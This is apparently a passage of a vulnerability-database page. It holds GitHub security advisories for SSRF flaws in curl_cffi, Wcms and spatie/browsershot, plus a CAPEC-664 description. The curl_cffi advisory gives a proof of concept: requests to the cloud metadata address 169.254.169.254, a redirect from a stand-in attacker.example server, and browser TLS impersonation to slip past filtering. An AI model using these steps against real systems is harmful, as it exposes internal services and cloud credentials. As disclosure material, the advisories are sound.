  "details": "### Summary\ncurl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl.\n\nBecause of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi\u2019s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls.\n\n### Details\nThe issue comes from how curl_cffi handles outbound requests\n- User-supplied URLs are passed directly to libcurl without checking whether they resolve to internal IP ranges (e.g., 127.0.0.1, 169.254.0.0/16).\n- Redirects are automatically followed (CURLOPT_FOLLOWLOCATION = 1) inside libcurl.\n- There is no validation of redirect destinations at the Python layer.\n\nThis means that even if an application only allows requests to external URLs, an attacker can\n- Provide a URL pointing to an attacker-controlled server\n- Return a redirect response pointing to an internal service\n- Have curl_cffi follow that redirect automatically\n\nAs a result, internal endpoints (such as cloud instance metadata APIs) can be accessed.\n\nAdditionally, curl_cffi supports TLS fingerprint impersonation (e.g., impersonate=\"chrome\"). In environments where outbound requests are filtered based on TLS fingerprinting, this can make such requests harder to detect or block\n\nThis behavior is similar to previously reported redirect-based SSRF issues such as CVE-2025-68616, where redirects allowed access to unintended internal resources.\n\n### PoC\n1. Direct internal request\n```\nimport curl_cffi\nresp = curl_cffi.get(\"http://169.254.169.254/latest/meta-data/\")\nprint(resp.text)\n```\n2. Redirect to internal service\nAttacker server:\n```\nGET /test\n\u2192 302 Location: http://169.254.169.254/latest/meta-data/\n```\nVictim code:\n```\nimport curl_cffi\nresp = curl_cffi.get(\"https://attacker.example/test\")\nprint(resp.text)\n```\nResult\n- Initial request goes to attacker server\n- Redirect is returned\n- libcurl follows the redirect automatically\n- Internal metadata endpoint is accessed\n\n3. With TLS impersonation\n```\nimport curl_cffi\\\nresp = curl_cffi.get(\n    \"https://attacker.example/test\",\n    impersonate=\"chrome\")\n```\nIn some environments, this may help the request bypass TLS-based filtering controls.\n\n\n### Impact\nAn attacker who can control the requested URL may be able to:\n- Access internal network services\n- Reach cloud metadata endpoints and retrieve sensitive information\n- Bypass certain outbound filtering mechanisms (depending on environment)\nThis corresponds to CWE-918 Server-Side Request Forgery.",
  "id": "GHSA-qw2m-4pqf-rmpp",
  "modified": "2026-04-06T23:18:14Z",
  "published": "2026-04-03T21:36:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lexiforest/curl_cffi/security/advisories/GHSA-qw2m-4pqf-rmpp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33752"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lexiforest/curl_cffi"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "curl_cffi: Redirect-based SSRF leads to internal network access in curl_cffi (with TLS impersonation bypass)"
}

GHSA-QW63-PC73-846C

Vulnerability from github – Published: 2022-05-24 17:46 – Updated: 2022-05-24 17:46
VLAI
Details

Server-side request forgery in Wcms 0.3.2 lets an attacker send crafted requests from the back-end server of a vulnerable web application via the path parameter to wex/cssjs.php. It can help identify open ports, local network hosts and execute command on local services.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-24139"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-04-07T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Server-side request forgery in Wcms 0.3.2 lets an attacker send crafted requests from the back-end server of a vulnerable web application via the path parameter to wex/cssjs.php. It can help identify open ports, local network hosts and execute command on local services.",
  "id": "GHSA-qw63-pc73-846c",
  "modified": "2022-05-24T17:46:44Z",
  "published": "2022-05-24T17:46:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24139"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vedees/wcms/issues/8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/secwx/research/blob/main/cve/CVE-2020-24139.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-QW64-6VCC-8GHX

Vulnerability from github – Published: 2025-04-04 06:34 – Updated: 2025-04-04 17:12
VLAI
Summary
Browsershot Server-Side Request Forgery (SSRF) via setURL() Function
Details

Versions of the package spatie/browsershot from 0.0.0 to 5.0.3 are vulnerable to Server-side Request Forgery (SSRF) in the setUrl() function due to a missing restriction on user input, enabling attackers to access localhost and list all of its directories.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "spatie/browsershot"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-3192"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-04T17:12:01Z",
    "nvd_published_at": "2025-04-04T05:15:45Z",
    "severity": "HIGH"
  },
  "details": "Versions of the package spatie/browsershot from 0.0.0 to 5.0.3 are vulnerable to Server-side Request Forgery (SSRF) in the setUrl() function due to a missing restriction on user input, enabling attackers to access localhost and list all of its directories.",
  "id": "GHSA-qw64-6vcc-8ghx",
  "modified": "2025-04-04T17:12:01Z",
  "published": "2025-04-04T06:34:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3192"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/JunMing27/651998a34d57fbf71ff9d25386f1da0f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spatie/browsershot"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-PHP-SPATIEBROWSERSHOT-8548015"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Browsershot Server-Side Request Forgery (SSRF) via setURL() Function"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.